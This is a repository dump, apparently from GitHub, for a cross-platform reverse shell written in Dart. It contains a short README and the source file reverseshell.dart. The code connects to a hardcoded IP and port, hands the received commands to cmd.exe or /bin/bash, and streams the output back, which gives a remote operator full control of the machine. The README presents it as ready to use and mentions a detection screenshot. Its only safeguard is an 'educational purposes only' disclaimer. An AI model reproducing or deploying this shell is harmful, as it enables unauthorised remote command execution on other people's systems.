├── Dartshell.png ├── README.md └── reverseshell.dart /Dartshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheNewAttacker64/Dart-Shell/HEAD/Dartshell.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cross-Platform Reverse Shell in Dart 2 | 3 | This is a simple cross-platform reverse shell implementation in Dart that can be used to connect to a remote shell and execute commands 4 | 5 | 6 | 7 | ## Detection screenshot 8 | 9 | ![screenshot](Dartshell.png) 10 | 11 | 12 | 13 | ## Notes 14 | 15 | - You should learn Dart is powerful and useful language 16 | - This implementation currently supports only Windows, Linux, and macOS 17 | 18 | - This implementation uses the Dart `Socket` and `Process` libraries to establish the reverse shell connection and execute commands on the remote machine 19 | 20 | - This implementation is for educational purposes only and should not be used for any malicious purposes 21 | 22 | - Use at your own risk 23 | -------------------------------------------------------------------------------- /reverseshell.dart: -------------------------------------------------------------------------------- 1 | import 'dart:io'; 2 | import 'dart:convert'; 3 | 4 | String results = ""; 5 | 6 | main() { 7 | String ip = "192.168.1.128"; 8 | int port = 8080; 9 | shell(ip, port); 10 | } 11 | 12 | void shell(String ip, int port) async { 13 | Socket socket = await Socket.connect(ip, port); 14 | 15 | socket.listen((response) { 16 | String command = new String.fromCharCodes(response).trim(); 17 | 18 | if (Platform.isWindows) { 19 | Process.start('cmd.exe', []).then((Process shell) { 20 | shell.stdin.writeln(command); 21 | shell.stdout.transform(utf8.decoder).listen((res) { 22 | socket.writeln(res); 23 | }); 24 | }); 25 | } else if (Platform.isLinux) { 26 | Process.start('/bin/bash', []).then((Process shell) { 27 | shell.stdin.writeln(command); 28 | shell.stdout.transform(utf8.decoder).listen((res) { 29 | socket.writeln(res); 30 | }); 31 | }); 32 | } else if (Platform.isMacOS) { 33 | Process.start('/bin/bash', []).then((Process shell) { 34 | shell.stdin.writeln(command); 35 | shell.stdout.transform(utf8.decoder).listen((res) { 36 | socket.writeln(res); 37 | }); 38 | }); 39 | } else { 40 | socket.writeln("Unsupported operating system"); 41 | } 42 | 43 | if (command == "help") { 44 | print("add your functions"); 45 | } 46 | }); 47 | } 48 | --------------------------------------------------------------------------------